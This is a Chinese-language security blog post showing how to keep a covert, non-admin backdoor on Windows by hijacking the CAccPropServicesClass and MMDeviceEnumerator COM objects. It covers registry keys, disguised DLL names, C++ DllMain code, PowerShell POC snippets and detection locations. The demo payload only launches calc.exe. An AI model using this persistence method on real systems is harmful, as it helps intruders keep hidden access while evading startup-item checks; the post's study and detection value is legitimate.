Use COM Object hijacking to maintain persistence——Hijack CAccPropServicesClass and MMDeviceEnumerator
0x00 前言
在之前的文章 《Use CLR to maintain persistence》 介绍了通过 CLR 劫持所有.Net 程序的方法,无需管理员权限,可用作后门。美中不足的是通过 WMI 添加环境变量需要重启系统。
本文将继续介绍另一种后门的利用方法,原理类似,但优点是不需要重启系统,同样也不需要管理员权限。
注:本文介绍的方法曾被木马 COMpfun 使用
0x01 简介
本文将要介绍以下内容:
- 后门思路
- POC 编写
- 防御检测
0x02 COM 组件
- COM 是 Component Object Model (组件对象模型)的缩写
- COM 组件由 DLL 和 EXE 形式发布的可执行代码所组成
- COM 与语言,平台无关
- COM 组件对应注册表中 CLSID 下的注册表键值
0x03 后门思路
同使用 CLR 劫持.Net 程序的方法类似,也是通过修改 CLSID 下的注册表键值,实现对 CAccPropServicesClass 和 MMDeviceEnumerator 劫持,而系统很多正常程序启动时需要调用这两个实例,所以,这就可以用作后门来使用,并且,该方法也能够绕过 Autoruns 对启动项的检测。
32 位系统利用方法:
1、新建文件
在 %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\
下放入测试 dll,重命名为 api-ms-win-downlevel-[4char-random]-l1-1-0._dl
注:测试 dll 下载地址: https://github.com/3gstudent/test/blob/master/calc.dll
重命名为 api-ms-win-downlevel-1x86-l1-1-0._dl
如下图
2、修改注册表
注册表位置: HKCU\Software\Classes\CLSID\
创建项 {b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
创建子项 InprocServer32
Default 的键值为测试 dll 的绝对路径:
C:\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl
创建键值: ThreadingModel
REG_SZ
Apartment
注册表内容如下图
3、测试
启动 iexplore.exe,触发后门,多次启动 calc.exe,最终导致系统死机
启动过程多次调用实例 CAccPropServicesClass(),因此导致启动多个 calc.exe,最终系统死机
4、优化
可以对 dll 加一个互斥量,防止重复加载,只启动一次 calc.exe
c++代码为:
#pragma comment(linker,"/OPT:nowin98")
BOOL TestMutex()
{
HANDLE hMutex = CreateMutex(NULL, false, "myself");
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hMutex);
return 0;
}
return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if(TestMutex()==0)
return TRUE;
WinExec("calc.exe",SW_SHOWNORMAL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}return TRUE;
}
优化方法参照: https://3gstudent.github.io/Use-Office-to-maintain-persistence
编译后大小 3k,如果多次加载该 dll,会因为互斥量导致只加载一次,也就是说只启动一次 calc.exe
编译好的 dll 下载地址:https://github.com/3gstudent/test/blob/master/calcmutex.dll
换用新的 dll,再次测试,只启动一次 calc.exe,如下图
64 位系统利用方法:
1、新建文件
在 %APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\
下分别放入 32 位和 64 位的测试 dll
32 位 dll 下载地址:https://github.com/3gstudent/test/blob/master/calcmutex.dll
重命名为 api-ms-win-downlevel-1x86-l1-1-0._dl
64 位 dll 下载地址:https://github.com/3gstudent/test/blob/master/calcmutex_x64.dll
重命名为 api-ms-win-downlevel-1x64-l1-1-0._dl
2、修改注册表
(1)
注册表位置: HKCU\Software\Classes\CLSID\
创建项 {b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
创建子项 InprocServer32
Default 的键值为 64 位 dll 的绝对路径:
C:\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl
创建键值: ThreadingModel
REG_SZ
Apartment
注册表内容如下图
(2)
注册表位置: HKCU\Software\Classes\Wow6432Node\CLSID\
创建项 {BCDE0395-E52F-467C-8E3D-C4579291692E}
创建子项 InprocServer32
Default 的键值为 32 位 dll 路径:
C:\Users\a\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl
创建键值: ThreadingModel
REG_SZ
Apartment
注册表内容如下图
3、测试
分别启动 32 位和 64 位的 iexplore.exe,均可触发后门,启动一次 calc.exe
测试成功
注:{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
对应 CAccPropServicesClass
{BCDE0395-E52F-467C-8E3D-C4579291692E}
对应 MMDeviceEnumerator
参考链接:http://msdn.microsoft.com/en-us/library/windows/desktop/dd316556%28v=vs.85%29.aspx
0x04 POC 编写
POC 开发需要注意的细节:
1、操作默认不一定包含文件夹
需要先判断文件夹 %APPDATA%\Microsoft\Installer\
如果没有,在 %APPDATA%\Microsoft\
下创建文件夹 Installer
if((Test-Path %APPDATA%\Microsoft\Installer\) -eq 0)
{
Write-Host "[+] Create Folder: $env:APPDATA\Microsoft\Installer\"
new-item -path $env:APPDATA\Microsoft\ -name Installer -type directory
}
2、创建文件夹{BCDE0395-E52F-467C-8E3D-C4579291692E}
由于包含特殊字符{},需要双引号包含路径
if((Test-Path "%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}") -eq 0)
{
Write-Host "[+] Create Folder: $env:APPDATA\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}"
new-item -path $env:APPDATA\Microsoft\Installer -name {BCDE0395-E52F-467C-8E3D-C4579291692E} -type directory
}
3、创建 payload 文件
首先判断操作系统
if ([Environment]::Is64BitOperatingSystem)
{
Write-Host "[+] OS: x64"
}
else
{
Write-Host "[+] OS: x86"
}
不同系统释放不同文件,释放文件依旧使用 base64,可参考文章: https://3gstudent.github.io/Use-Office-to-maintain-persistence
4、创建注册表
修改注册表默认值,如下图
在 powershell 下,需要使用特殊变量 "(default)"
$RegPath="HKCU:Software\Classes\CLSID\"
New-ItemProperty $RegPath"{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32" "(default)" -value $env:APPDATA"\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl" -propertyType string | Out-Null
完整 POC 已上传至 Github,地址为: https://github.com/3gstudent/COM-Object-hijacking
0x05 防御检测
结合利用方法,注意监控以下位置:
1、注册表键值
- HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\
- HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E }
2、文件路径
%APPDATA%\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\
命名方式: api-ms-win-downlevel-[4char-random]-l1-1-0._dl
0x06 小结
本文介绍了通过 COM Object hijacking 实现的后门利用方法,使用 powershell 脚本编写 POC,分享 POC 开发中需要注意的细节,结合实际利用过程分析该后门的防御方法。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
上一篇: Use xwizard.exe to load dll
下一篇: Covenant 利用分析
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论